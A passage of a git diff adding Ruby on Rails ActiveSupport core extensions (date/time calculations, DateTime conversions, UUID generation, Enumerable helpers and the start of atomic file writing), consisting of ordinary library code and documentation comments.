+    #   today.next_week    # => Mon, 11 May 2015
+    #
+    # The +given_day_in_next_week+ defaults to the beginning of the week
+    # which is determined by +Date.beginning_of_week+ or +config.beginning_of_week+
+    # when set.
+    #
+    #   today = Date.today       # => Thu, 07 May 2015
+    #   today.next_week(:friday) # => Fri, 15 May 2015
+    #
+    # +DateTime+ objects have their time set to 0:00 unless +same_time+ is true.
+    #
+    #   now = DateTime.current # => Thu, 07 May 2015 13:31:16 +0000
+    #   now.next_week      # => Mon, 11 May 2015 00:00:00 +0000
+    def next_week(given_day_in_next_week = Date.beginning_of_week, same_time: false)
+      result = first_hour(weeks_since(1).beginning_of_week.days_since(days_span(given_day_in_next_week)))
+      same_time ? copy_time_to(result) : result
+    end
+
+    # Returns a new date/time representing the next weekday.
+    def next_weekday
+      if next_day.on_weekend?
+        next_week(:monday, same_time: true)
+      else
+        next_day
+      end
+    end
+
+    # Short-hand for months_since(1).
+    def next_month
+      months_since(1)
+    end
+
+    # Short-hand for months_since(3)
+    def next_quarter
+      months_since(3)
+    end
+
+    # Short-hand for years_since(1).
+    def next_year
+      years_since(1)
+    end
+
+    # Returns a new date/time representing the given day in the previous week.
+    # Week is assumed to start on +start_day+, default is
+    # +Date.beginning_of_week+ or +config.beginning_of_week+ when set.
+    # DateTime objects have their time set to 0:00 unless +same_time+ is true.
+    def prev_week(start_day = Date.beginning_of_week, same_time: false)
+      result = first_hour(weeks_ago(1).beginning_of_week.days_since(days_span(start_day)))
+      same_time ? copy_time_to(result) : result
+    end
+    alias_method :last_week, :prev_week
+
+    # Returns a new date/time representing the previous weekday.
+    def prev_weekday
+      if prev_day.on_weekend?
+        copy_time_to(beginning_of_week(:friday))
+      else
+        prev_day
+      end
+    end
+    alias_method :last_weekday, :prev_weekday
+
+    # Short-hand for months_ago(1).
+    def prev_month
+      months_ago(1)
+    end
+    alias_method :last_month, :prev_month
+
+    # Short-hand for months_ago(3).
+    def prev_quarter
+      months_ago(3)
+    end
+    alias_method :last_quarter, :prev_quarter
+
+    # Short-hand for years_ago(1).
+    def prev_year
+      years_ago(1)
+    end
+    alias_method :last_year, :prev_year
+
+    # Returns the number of days to the start of the week on the given day.
+    # Week is assumed to start on +start_day+, default is
+    # +Date.beginning_of_week+ or +config.beginning_of_week+ when set.
+    def days_to_week_start(start_day = Date.beginning_of_week)
+      start_day_number = DAYS_INTO_WEEK[start_day]
+      current_day_number = wday != 0 ? wday - 1 : 6
+      (current_day_number - start_day_number) % 7
+    end
+
+    # Returns a new date/time representing the start of this week on the given day.
+    # Week is assumed to start on +start_day+, default is
+    # +Date.beginning_of_week+ or +config.beginning_of_week+ when set.
+    # +DateTime+ objects have their time set to 0:00.
+    def beginning_of_week(start_day = Date.beginning_of_week)
+      result = days_ago(days_to_week_start(start_day))
+      acts_like?(:time) ? result.midnight : result
+    end
+    alias :at_beginning_of_week :beginning_of_week
+
+    # Returns Monday of this week assuming that week starts on Monday.
+    # +DateTime+ objects have their time set to 0:00.
+    def monday
+      beginning_of_week(:monday)
+    end
+
+    # Returns a new date/time representing the end of this week on the given day.
+    # Week is assumed to start on +start_day+, default is
+    # +Date.beginning_of_week+ or +config.beginning_of_week+ when set.
+    # DateTime objects have their time set to 23:59:59.
+    def end_of_week(start_day = Date.beginning_of_week)
+      last_hour(days_since(6 - days_to_week_start(start_day)))
+    end
+    alias :at_end_of_week :end_of_week
+
+    # Returns Sunday of this week assuming that week starts on Monday.
+    # +DateTime+ objects have their time set to 23:59:59.
+    def sunday
+      end_of_week(:monday)
+    end
+
+    # Returns a new date/time representing the end of the month.
+    # DateTime objects will have a time set to 23:59:59.
+    def end_of_month
+      last_day = ::Time.days_in_month(month, year)
+      last_hour(days_since(last_day - day))
+    end
+    alias :at_end_of_month :end_of_month
+
+    # Returns a new date/time representing the end of the year.
+    # DateTime objects will have a time set to 23:59:59.
+    def end_of_year
+      change(month: 12).end_of_month
+    end
+    alias :at_end_of_year :end_of_year
+
+    # Returns a Range representing the whole day of the current date/time.
+    def all_day
+      beginning_of_day..end_of_day
+    end
+
+    # Returns a Range representing the whole week of the current date/time.
+    # Week starts on start_day, default is <tt>Date.beginning_of_week</tt> or <tt>config.beginning_of_week</tt> when set.
+    def all_week(start_day = Date.beginning_of_week)
+      beginning_of_week(start_day)..end_of_week(start_day)
+    end
+
+    # Returns a Range representing the whole month of the current date/time.
+    def all_month
+      beginning_of_month..end_of_month
+    end
+
+    # Returns a Range representing the whole quarter of the current date/time.
+    def all_quarter
+      beginning_of_quarter..end_of_quarter
+    end
+
+    # Returns a Range representing the whole year of the current date/time.
+    def all_year
+      beginning_of_year..end_of_year
+    end
+
+    # Returns specific next occurring day of week
+    def next_occurring(day_of_week)
+      current_day_number = wday != 0 ? wday - 1 : 6
+      from_now = DAYS_INTO_WEEK.fetch(day_of_week) - current_day_number
+      from_now += 7 unless from_now > 0
+      since(from_now.days)
+    end
+
+    # Returns specific previous occurring day of week
+    def prev_occurring(day_of_week)
+      current_day_number = wday != 0 ? wday - 1 : 6
+      ago = current_day_number - DAYS_INTO_WEEK.fetch(day_of_week)
+      ago += 7 unless ago > 0
+      ago(ago.days)
+    end
+
+    private
+      def first_hour(date_or_time)
+        date_or_time.acts_like?(:time) ? date_or_time.beginning_of_day : date_or_time
+      end
+
+      def last_hour(date_or_time)
+        date_or_time.acts_like?(:time) ? date_or_time.end_of_day : date_or_time
+      end
+
+      def days_span(day)
+        (DAYS_INTO_WEEK[day] - DAYS_INTO_WEEK[Date.beginning_of_week]) % 7
+      end
+
+      def copy_time_to(other)
+        other.change(hour: hour, min: min, sec: sec, nsec: try(:nsec))
+      end
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/date_and_time/compatibility.rb b/activesupport/lib/active_support/core_ext/date_and_time/compatibility.rb
new file mode 100644
index 0000000000..5b3aabf6a5
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/date_and_time/compatibility.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+require_relative "../module/attribute_accessors"
+
+module DateAndTime
+  module Compatibility
+    # If true, +to_time+ preserves the timezone offset of receiver.
+    #
+    # NOTE: With Ruby 2.4+ the default for +to_time+ changed from
+    # converting to the local system time, to preserving the offset
+    # of the receiver. For backwards compatibility we're overriding
+    # this behavior, but new apps will have an initializer that sets
+    # this to true, because the new behavior is preferred.
+    mattr_accessor :preserve_timezone, instance_writer: false, default: false
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/date_and_time/zones.rb b/activesupport/lib/active_support/core_ext/date_and_time/zones.rb
new file mode 100644
index 0000000000..894fd9b76d
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/date_and_time/zones.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+module DateAndTime
+  module Zones
+    # Returns the simultaneous time in <tt>Time.zone</tt> if a zone is given or
+    # if Time.zone_default is set. Otherwise, it returns the current time.
+    #
+    #   Time.zone = 'Hawaii'        # => 'Hawaii'
+    #   Time.utc(2000).in_time_zone # => Fri, 31 Dec 1999 14:00:00 HST -10:00
+    #   Date.new(2000).in_time_zone # => Sat, 01 Jan 2000 00:00:00 HST -10:00
+    #
+    # This method is similar to Time#localtime, except that it uses <tt>Time.zone</tt> as the local zone
+    # instead of the operating system's time zone.
+    #
+    # You can also pass in a TimeZone instance or string that identifies a TimeZone as an argument,
+    # and the conversion will be based on that zone instead of <tt>Time.zone</tt>.
+    #
+    #   Time.utc(2000).in_time_zone('Alaska') # => Fri, 31 Dec 1999 15:00:00 AKST -09:00
+    #   Date.new(2000).in_time_zone('Alaska') # => Sat, 01 Jan 2000 00:00:00 AKST -09:00
+    def in_time_zone(zone = ::Time.zone)
+      time_zone = ::Time.find_zone! zone
+      time = acts_like?(:time) ? self : nil
+
+      if time_zone
+        time_with_zone(time, time_zone)
+      else
+        time || to_time
+      end
+    end
+
+    private
+
+      def time_with_zone(time, zone)
+        if time
+          ActiveSupport::TimeWithZone.new(time.utc? ? time : time.getutc, zone)
+        else
+          ActiveSupport::TimeWithZone.new(nil, zone, to_time(:utc))
+        end
+      end
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/date_time.rb b/activesupport/lib/active_support/core_ext/date_time.rb
new file mode 100644
index 0000000000..b3d6773e4f
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/date_time.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+require_relative "date_time/acts_like"
+require_relative "date_time/blank"
+require_relative "date_time/calculations"
+require_relative "date_time/compatibility"
+require_relative "date_time/conversions"
diff --git a/activesupport/lib/active_support/core_ext/date_time/acts_like.rb b/activesupport/lib/active_support/core_ext/date_time/acts_like.rb
new file mode 100644
index 0000000000..02acb5fe21
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/date_time/acts_like.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+require "date"
+require_relative "../object/acts_like"
+
+class DateTime
+  # Duck-types as a Date-like class. See Object#acts_like?.
+  def acts_like_date?
+    true
+  end
+
+  # Duck-types as a Time-like class. See Object#acts_like?.
+  def acts_like_time?
+    true
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/date_time/blank.rb b/activesupport/lib/active_support/core_ext/date_time/blank.rb
new file mode 100644
index 0000000000..a52c8bc150
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/date_time/blank.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+require "date"
+
+class DateTime #:nodoc:
+  # No DateTime is ever blank:
+  #
+  #   DateTime.now.blank? # => false
+  #
+  # @return [false]
+  def blank?
+    false
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/date_time/calculations.rb b/activesupport/lib/active_support/core_ext/date_time/calculations.rb
new file mode 100644
index 0000000000..e61b23f842
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/date_time/calculations.rb
@@ -0,0 +1,211 @@
+# frozen_string_literal: true
+
+require "date"
+
+class DateTime
+  class << self
+    # Returns <tt>Time.zone.now.to_datetime</tt> when <tt>Time.zone</tt> or
+    # <tt>config.time_zone</tt> are set, otherwise returns
+    # <tt>Time.now.to_datetime</tt>.
+    def current
+      ::Time.zone ? ::Time.zone.now.to_datetime : ::Time.now.to_datetime
+    end
+  end
+
+  # Returns the number of seconds since 00:00:00.
+  #
+  #   DateTime.new(2012, 8, 29,  0,  0,  0).seconds_since_midnight # => 0
+  #   DateTime.new(2012, 8, 29, 12, 34, 56).seconds_since_midnight # => 45296
+  #   DateTime.new(2012, 8, 29, 23, 59, 59).seconds_since_midnight # => 86399
+  def seconds_since_midnight
+    sec + (min * 60) + (hour * 3600)
+  end
+
+  # Returns the number of seconds until 23:59:59.
+  #
+  #   DateTime.new(2012, 8, 29,  0,  0,  0).seconds_until_end_of_day # => 86399
+  #   DateTime.new(2012, 8, 29, 12, 34, 56).seconds_until_end_of_day # => 41103
+  #   DateTime.new(2012, 8, 29, 23, 59, 59).seconds_until_end_of_day # => 0
+  def seconds_until_end_of_day
+    end_of_day.to_i - to_i
+  end
+
+  # Returns the fraction of a second as a +Rational+
+  #
+  #   DateTime.new(2012, 8, 29, 0, 0, 0.5).subsec # => (1/2)
+  def subsec
+    sec_fraction
+  end
+
+  # Returns a new DateTime where one or more of the elements have been changed
+  # according to the +options+ parameter. The time options (<tt>:hour</tt>,
+  # <tt>:min</tt>, <tt>:sec</tt>) reset cascadingly, so if only the hour is
+  # passed, then minute and sec is set to 0. If the hour and minute is passed,
+  # then sec is set to 0. The +options+ parameter takes a hash with any of these
+  # keys: <tt>:year</tt>, <tt>:month</tt>, <tt>:day</tt>, <tt>:hour</tt>,
+  # <tt>:min</tt>, <tt>:sec</tt>, <tt>:offset</tt>, <tt>:start</tt>.
+  #
+  #   DateTime.new(2012, 8, 29, 22, 35, 0).change(day: 1)              # => DateTime.new(2012, 8, 1, 22, 35, 0)
+  #   DateTime.new(2012, 8, 29, 22, 35, 0).change(year: 1981, day: 1)  # => DateTime.new(1981, 8, 1, 22, 35, 0)
+  #   DateTime.new(2012, 8, 29, 22, 35, 0).change(year: 1981, hour: 0) # => DateTime.new(1981, 8, 29, 0, 0, 0)
+  def change(options)
+    if new_nsec = options[:nsec]
+      raise ArgumentError, "Can't change both :nsec and :usec at the same time: #{options.inspect}" if options[:usec]
+      new_fraction = Rational(new_nsec, 1000000000)
+    else
+      new_usec = options.fetch(:usec, (options[:hour] || options[:min] || options[:sec]) ? 0 : Rational(nsec, 1000))
+      new_fraction = Rational(new_usec, 1000000)
+    end
+
+    raise ArgumentError, "argument out of range" if new_fraction >= 1
+
+    ::DateTime.civil(
+      options.fetch(:year, year),
+      options.fetch(:month, month),
+      options.fetch(:day, day),
+      options.fetch(:hour, hour),
+      options.fetch(:min, options[:hour] ? 0 : min),
+      options.fetch(:sec, (options[:hour] || options[:min]) ? 0 : sec) + new_fraction,
+      options.fetch(:offset, offset),
+      options.fetch(:start, start)
+    )
+  end
+
+  # Uses Date to provide precise Time calculations for years, months, and days.
+  # The +options+ parameter takes a hash with any of these keys: <tt>:years</tt>,
+  # <tt>:months</tt>, <tt>:weeks</tt>, <tt>:days</tt>, <tt>:hours</tt>,
+  # <tt>:minutes</tt>, <tt>:seconds</tt>.
+  def advance(options)
+    unless options[:weeks].nil?
+      options[:weeks], partial_weeks = options[:weeks].divmod(1)
+      options[:days] = options.fetch(:days, 0) + 7 * partial_weeks
+    end
+
+    unless options[:days].nil?
+      options[:days], partial_days = options[:days].divmod(1)
+      options[:hours] = options.fetch(:hours, 0) + 24 * partial_days
+    end
+
+    d = to_date.advance(options)
+    datetime_advanced_by_date = change(year: d.year, month: d.month, day: d.day)
+    seconds_to_advance = \
+      options.fetch(:seconds, 0) +
+      options.fetch(:minutes, 0) * 60 +
+      options.fetch(:hours, 0) * 3600
+
+    if seconds_to_advance.zero?
+      datetime_advanced_by_date
+    else
+      datetime_advanced_by_date.since(seconds_to_advance)
+    end
+  end
+
+  # Returns a new DateTime representing the time a number of seconds ago.
+  # Do not use this method in combination with x.months, use months_ago instead!
+  def ago(seconds)
+    since(-seconds)
+  end
+
+  # Returns a new DateTime representing the time a number of seconds since the
+  # instance time. Do not use this method in combination with x.months, use
+  # months_since instead!
+  def since(seconds)
+    self + Rational(seconds.round, 86400)
+  end
+  alias :in :since
+
+  # Returns a new DateTime representing the start of the day (0:00).
+  def beginning_of_day
+    change(hour: 0)
+  end
+  alias :midnight :beginning_of_day
+  alias :at_midnight :beginning_of_day
+  alias :at_beginning_of_day :beginning_of_day
+
+  # Returns a new DateTime representing the middle of the day (12:00)
+  def middle_of_day
+    change(hour: 12)
+  end
+  alias :midday :middle_of_day
+  alias :noon :middle_of_day
+  alias :at_midday :middle_of_day
+  alias :at_noon :middle_of_day
+  alias :at_middle_of_day :middle_of_day
+
+  # Returns a new DateTime representing the end of the day (23:59:59).
+  def end_of_day
+    change(hour: 23, min: 59, sec: 59, usec: Rational(999999999, 1000))
+  end
+  alias :at_end_of_day :end_of_day
+
+  # Returns a new DateTime representing the start of the hour (hh:00:00).
+  def beginning_of_hour
+    change(min: 0)
+  end
+  alias :at_beginning_of_hour :beginning_of_hour
+
+  # Returns a new DateTime representing the end of the hour (hh:59:59).
+  def end_of_hour
+    change(min: 59, sec: 59, usec: Rational(999999999, 1000))
+  end
+  alias :at_end_of_hour :end_of_hour
+
+  # Returns a new DateTime representing the start of the minute (hh:mm:00).
+  def beginning_of_minute
+    change(sec: 0)
+  end
+  alias :at_beginning_of_minute :beginning_of_minute
+
+  # Returns a new DateTime representing the end of the minute (hh:mm:59).
+  def end_of_minute
+    change(sec: 59, usec: Rational(999999999, 1000))
+  end
+  alias :at_end_of_minute :end_of_minute
+
+  # Returns a <tt>Time</tt> instance of the simultaneous time in the system timezone.
+  def localtime(utc_offset = nil)
+    utc = new_offset(0)
+
+    Time.utc(
+      utc.year, utc.month, utc.day,
+      utc.hour, utc.min, utc.sec + utc.sec_fraction
+    ).getlocal(utc_offset)
+  end
+  alias_method :getlocal, :localtime
+
+  # Returns a <tt>Time</tt> instance of the simultaneous time in the UTC timezone.
+  #
+  #   DateTime.civil(2005, 2, 21, 10, 11, 12, Rational(-6, 24))     # => Mon, 21 Feb 2005 10:11:12 -0600
+  #   DateTime.civil(2005, 2, 21, 10, 11, 12, Rational(-6, 24)).utc # => Mon, 21 Feb 2005 16:11:12 UTC
+  def utc
+    utc = new_offset(0)
+
+    Time.utc(
+      utc.year, utc.month, utc.day,
+      utc.hour, utc.min, utc.sec + utc.sec_fraction
+    )
+  end
+  alias_method :getgm, :utc
+  alias_method :getutc, :utc
+  alias_method :gmtime, :utc
+
+  # Returns +true+ if <tt>offset == 0</tt>.
+  def utc?
+    offset == 0
+  end
+
+  # Returns the offset value in seconds.
+  def utc_offset
+    (offset * 86400).to_i
+  end
+
+  # Layers additional behavior on DateTime#<=> so that Time and
+  # ActiveSupport::TimeWithZone instances can be compared with a DateTime.
+  def <=>(other)
+    if other.respond_to? :to_datetime
+      super other.to_datetime rescue nil
+    else
+      super
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/date_time/compatibility.rb b/activesupport/lib/active_support/core_ext/date_time/compatibility.rb
new file mode 100644
index 0000000000..71da7be8ca
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/date_time/compatibility.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+require_relative "../date_and_time/compatibility"
+require_relative "../module/remove_method"
+
+class DateTime
+  include DateAndTime::Compatibility
+
+  remove_possible_method :to_time
+
+  # Either return an instance of `Time` with the same UTC offset
+  # as +self+ or an instance of `Time` representing the same time
+  # in the the local system timezone depending on the setting of
+  # on the setting of +ActiveSupport.to_time_preserves_timezone+.
+  def to_time
+    preserve_timezone ? getlocal(utc_offset) : getlocal
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/date_time/conversions.rb b/activesupport/lib/active_support/core_ext/date_time/conversions.rb
new file mode 100644
index 0000000000..e4c8f9898d
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/date_time/conversions.rb
@@ -0,0 +1,107 @@
+# frozen_string_literal: true
+
+require "date"
+require_relative "../../inflector/methods"
+require_relative "../time/conversions"
+require_relative "calculations"
+require_relative "../../values/time_zone"
+
+class DateTime
+  # Convert to a formatted string. See Time::DATE_FORMATS for predefined formats.
+  #
+  # This method is aliased to <tt>to_s</tt>.
+  #
+  # === Examples
+  #   datetime = DateTime.civil(2007, 12, 4, 0, 0, 0, 0)   # => Tue, 04 Dec 2007 00:00:00 +0000
+  #
+  #   datetime.to_formatted_s(:db)            # => "2007-12-04 00:00:00"
+  #   datetime.to_s(:db)                      # => "2007-12-04 00:00:00"
+  #   datetime.to_s(:number)                  # => "20071204000000"
+  #   datetime.to_formatted_s(:short)         # => "04 Dec 00:00"
+  #   datetime.to_formatted_s(:long)          # => "December 04, 2007 00:00"
+  #   datetime.to_formatted_s(:long_ordinal)  # => "December 4th, 2007 00:00"
+  #   datetime.to_formatted_s(:rfc822)        # => "Tue, 04 Dec 2007 00:00:00 +0000"
+  #   datetime.to_formatted_s(:iso8601)       # => "2007-12-04T00:00:00+00:00"
+  #
+  # == Adding your own datetime formats to to_formatted_s
+  # DateTime formats are shared with Time. You can add your own to the
+  # Time::DATE_FORMATS hash. Use the format name as the hash key and
+  # either a strftime string or Proc instance that takes a time or
+  # datetime argument as the value.
+  #
+  #   # config/initializers/time_formats.rb
+  #   Time::DATE_FORMATS[:month_and_year] = '%B %Y'
+  #   Time::DATE_FORMATS[:short_ordinal] = lambda { |time| time.strftime("%B #{time.day.ordinalize}") }
+  def to_formatted_s(format = :default)
+    if formatter = ::Time::DATE_FORMATS[format]
+      formatter.respond_to?(:call) ? formatter.call(self).to_s : strftime(formatter)
+    else
+      to_default_s
+    end
+  end
+  alias_method :to_default_s, :to_s if instance_methods(false).include?(:to_s)
+  alias_method :to_s, :to_formatted_s
+
+  # Returns a formatted string of the offset from UTC, or an alternative
+  # string if the time zone is already UTC.
+  #
+  #   datetime = DateTime.civil(2000, 1, 1, 0, 0, 0, Rational(-6, 24))
+  #   datetime.formatted_offset         # => "-06:00"
+  #   datetime.formatted_offset(false)  # => "-0600"
+  def formatted_offset(colon = true, alternate_utc_string = nil)
+    utc? && alternate_utc_string || ActiveSupport::TimeZone.seconds_to_utc_offset(utc_offset, colon)
+  end
+
+  # Overrides the default inspect method with a human readable one, e.g., "Mon, 21 Feb 2005 14:30:00 +0000".
+  def readable_inspect
+    to_s(:rfc822)
+  end
+  alias_method :default_inspect, :inspect
+  alias_method :inspect, :readable_inspect
+
+  # Returns DateTime with local offset for given year if format is local else
+  # offset is zero.
+  #
+  #   DateTime.civil_from_format :local, 2012
+  #   # => Sun, 01 Jan 2012 00:00:00 +0300
+  #   DateTime.civil_from_format :local, 2012, 12, 17
+  #   # => Mon, 17 Dec 2012 00:00:00 +0000
+  def self.civil_from_format(utc_or_local, year, month = 1, day = 1, hour = 0, min = 0, sec = 0)
+    if utc_or_local.to_sym == :local
+      offset = ::Time.local(year, month, day).utc_offset.to_r / 86400
+    else
+      offset = 0
+    end
+    civil(year, month, day, hour, min, sec, offset)
+  end
+
+  # Converts +self+ to a floating-point number of seconds, including fractional microseconds, since the Unix epoch.
+  def to_f
+    seconds_since_unix_epoch.to_f + sec_fraction
+  end
+
+  # Converts +self+ to an integer number of seconds since the Unix epoch.
+  def to_i
+    seconds_since_unix_epoch.to_i
+  end
+
+  # Returns the fraction of a second as microseconds
+  def usec
+    (sec_fraction * 1_000_000).to_i
+  end
+
+  # Returns the fraction of a second as nanoseconds
+  def nsec
+    (sec_fraction * 1_000_000_000).to_i
+  end
+
+  private
+
+    def offset_in_seconds
+      (offset * 86400).to_i
+    end
+
+    def seconds_since_unix_epoch
+      (jd - 2440588) * 86400 - offset_in_seconds + seconds_since_midnight
+    end
+end
diff --git a/activesupport/lib/active_support/core_ext/digest/uuid.rb b/activesupport/lib/active_support/core_ext/digest/uuid.rb
new file mode 100644
index 0000000000..992e1081e4
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/digest/uuid.rb
@@ -0,0 +1,53 @@
+# frozen_string_literal: true
+
+require "securerandom"
+
+module Digest
+  module UUID
+    DNS_NAMESPACE  = "k\xA7\xB8\x10\x9D\xAD\x11\xD1\x80\xB4\x00\xC0O\xD40\xC8" #:nodoc:
+    URL_NAMESPACE  = "k\xA7\xB8\x11\x9D\xAD\x11\xD1\x80\xB4\x00\xC0O\xD40\xC8" #:nodoc:
+    OID_NAMESPACE  = "k\xA7\xB8\x12\x9D\xAD\x11\xD1\x80\xB4\x00\xC0O\xD40\xC8" #:nodoc:
+    X500_NAMESPACE = "k\xA7\xB8\x14\x9D\xAD\x11\xD1\x80\xB4\x00\xC0O\xD40\xC8" #:nodoc:
+
+    # Generates a v5 non-random UUID (Universally Unique IDentifier).
+    #
+    # Using Digest::MD5 generates version 3 UUIDs; Digest::SHA1 generates version 5 UUIDs.
+    # uuid_from_hash always generates the same UUID for a given name and namespace combination.
+    #
+    # See RFC 4122 for details of UUID at: http://www.ietf.org/rfc/rfc4122.txt
+    def self.uuid_from_hash(hash_class, uuid_namespace, name)
+      if hash_class == Digest::MD5
+        version = 3
+      elsif hash_class == Digest::SHA1
+        version = 5
+      else
+        raise ArgumentError, "Expected Digest::SHA1 or Digest::MD5, got #{hash_class.name}."
+      end
+
+      hash = hash_class.new
+      hash.update(uuid_namespace)
+      hash.update(name)
+
+      ary = hash.digest.unpack("NnnnnN")
+      ary[2] = (ary[2] & 0x0FFF) | (version << 12)
+      ary[3] = (ary[3] & 0x3FFF) | 0x8000
+
+      "%08x-%04x-%04x-%04x-%04x%08x" % ary
+    end
+
+    # Convenience method for uuid_from_hash using Digest::MD5.
+    def self.uuid_v3(uuid_namespace, name)
+      uuid_from_hash(Digest::MD5, uuid_namespace, name)
+    end
+
+    # Convenience method for uuid_from_hash using Digest::SHA1.
+    def self.uuid_v5(uuid_namespace, name)
+      uuid_from_hash(Digest::SHA1, uuid_namespace, name)
+    end
+
+    # Convenience method for SecureRandom.uuid.
+    def self.uuid_v4
+      SecureRandom.uuid
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/enumerable.rb b/activesupport/lib/active_support/core_ext/enumerable.rb
new file mode 100644
index 0000000000..17733d955c
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/enumerable.rb
@@ -0,0 +1,159 @@
+# frozen_string_literal: true
+
+module Enumerable
+  # Enumerable#sum was added in Ruby 2.4, but it only works with Numeric elements
+  # when we omit an identity.
+  #
+  # We tried shimming it to attempt the fast native method, rescue TypeError,
+  # and fall back to the compatible implementation, but that's much slower than
+  # just calling the compat method in the first place.
+  if Enumerable.instance_methods(false).include?(:sum) && !((?a..?b).sum rescue false)
+    # We can't use Refinements here because Refinements with Module which will be prepended
+    # doesn't work well https://bugs.ruby-lang.org/issues/13446
+    alias :_original_sum_with_required_identity :sum
+    private :_original_sum_with_required_identity
+    # Calculates a sum from the elements.
+    #
+    #  payments.sum { |p| p.price * p.tax_rate }
+    #  payments.sum(&:price)
+    #
+    # The latter is a shortcut for:
+    #
+    #  payments.inject(0) { |sum, p| sum + p.price }
+    #
+    # It can also calculate the sum without the use of a block.
+    #
+    #  [5, 15, 10].sum # => 30
+    #  ['foo', 'bar'].sum # => "foobar"
+    #  [[1, 2], [3, 1, 5]].sum # => [1, 2, 3, 1, 5]
+    #
+    # The default sum of an empty list is zero. You can override this default:
+    #
+    #  [].sum(Payment.new(0)) { |i| i.amount } # => Payment.new(0)
+    def sum(identity = nil, &block)
+      if identity
+        _original_sum_with_required_identity(identity, &block)
+      elsif block_given?
+        map(&block).sum(identity)
+      else
+        inject(:+) || 0
+      end
+    end
+  else
+    def sum(identity = nil, &block)
+      if block_given?
+        map(&block).sum(identity)
+      else
+        sum = identity ? inject(identity, :+) : inject(:+)
+        sum || identity || 0
+      end
+    end
+  end
+
+  # Convert an enumerable to a hash.
+  #
+  #   people.index_by(&:login)
+  #   # => { "nextangle" => <Person ...>, "chade-" => <Person ...>, ...}
+  #   people.index_by { |person| "#{person.first_name} #{person.last_name}" }
+  #   # => { "Chade- Fowlersburg-e" => <Person ...>, "David Heinemeier Hansson" => <Person ...>, ...}
+  def index_by
+    if block_given?
+      result = {}
+      each { |elem| result[yield(elem)] = elem }
+      result
+    else
+      to_enum(:index_by) { size if respond_to?(:size) }
+    end
+  end
+
+  # Returns +true+ if the enumerable has more than 1 element. Functionally
+  # equivalent to <tt>enum.to_a.size > 1</tt>. Can be called with a block too,
+  # much like any?, so <tt>people.many? { |p| p.age > 26 }</tt> returns +true+
+  # if more than one person is over 26.
+  def many?
+    cnt = 0
+    if block_given?
+      any? do |element|
+        cnt += 1 if yield element
+        cnt > 1
+      end
+    else
+      any? { (cnt += 1) > 1 }
+    end
+  end
+
+  # The negative of the <tt>Enumerable#include?</tt>. Returns +true+ if the
+  # collection does not include the object.
+  def exclude?(object)
+    !include?(object)
+  end
+
+  # Returns a copy of the enumerable without the specified elements.
+  #
+  #   ["David", "Rafael", "Aaron", "Todd"].without "Aaron", "Todd"
+  #   # => ["David", "Rafael"]
+  #
+  #   {foo: 1, bar: 2, baz: 3}.without :bar
+  #   # => {foo: 1, baz: 3}
+  def without(*elements)
+    reject { |element| elements.include?(element) }
+  end
+
+  # Convert an enumerable to an array based on the given key.
+  #
+  #   [{ name: "David" }, { name: "Rafael" }, { name: "Aaron" }].pluck(:name)
+  #   # => ["David", "Rafael", "Aaron"]
+  #
+  #   [{ id: 1, name: "David" }, { id: 2, name: "Rafael" }].pluck(:id, :name)
+  #   # => [[1, "David"], [2, "Rafael"]]
+  def pluck(*keys)
+    if keys.many?
+      map { |element| keys.map { |key| element[key] } }
+    else
+      map { |element| element[keys.first] }
+    end
+  end
+end
+
+class Range #:nodoc:
+  # Optimize range sum to use arithmetic progression if a block is not given and
+  # we have a range of numeric values.
+  def sum(identity = nil)
+    if block_given? || !(first.is_a?(Integer) && last.is_a?(Integer))
+      super
+    else
+      actual_last = exclude_end? ? (last - 1) : last
+      if actual_last >= first
+        sum = identity || 0
+        sum + (actual_last - first + 1) * (actual_last + first) / 2
+      else
+        identity || 0
+      end
+    end
+  end
+end
+
+# Array#sum was added in Ruby 2.4 but it only works with Numeric elements.
+#
+# We tried shimming it to attempt the fast native method, rescue TypeError,
+# and fall back to the compatible implementation, but that's much slower than
+# just calling the compat method in the first place.
+if Array.instance_methods(false).include?(:sum) && !(%w[a].sum rescue false)
+  # Using Refinements here in order not to expose our internal method
+  using Module.new {
+    refine Array do
+      alias :orig_sum :sum
+    end
+  }
+
+  class Array
+    def sum(init = nil, &block) #:nodoc:
+      if init.is_a?(Numeric) || first.is_a?(Numeric)
+        init ||= 0
+        orig_sum(init, &block)
+      else
+        super
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/file.rb b/activesupport/lib/active_support/core_ext/file.rb
new file mode 100644
index 0000000000..3c2364167d
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/file.rb
@@ -0,0 +1,3 @@
+# frozen_string_literal: true
+
+require_relative "file/atomic"
diff --git a/activesupport/lib/active_support/core_ext/file/atomic.rb b/activesupport/lib/active_support/core_ext/file/atomic.rb
new file mode 100644
index 0000000000..8e288833b6
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/file/atomic.rb
@@ -0,0 +1,70 @@
+# frozen_string_literal: true
+
+require "fileutils"
+
+class File
+  # Write to a file atomically. Useful for situations where you don't
+  # want other processes or threads to see half-written files.
+  #
+  #   File.atomic_write('important.file') do |file|
+  #     file.write('hello')
+  #   end
+  #
+  # This method needs to create a temporary file. By default it will create it
+  # in the same directory as the destination file. If you don't like this
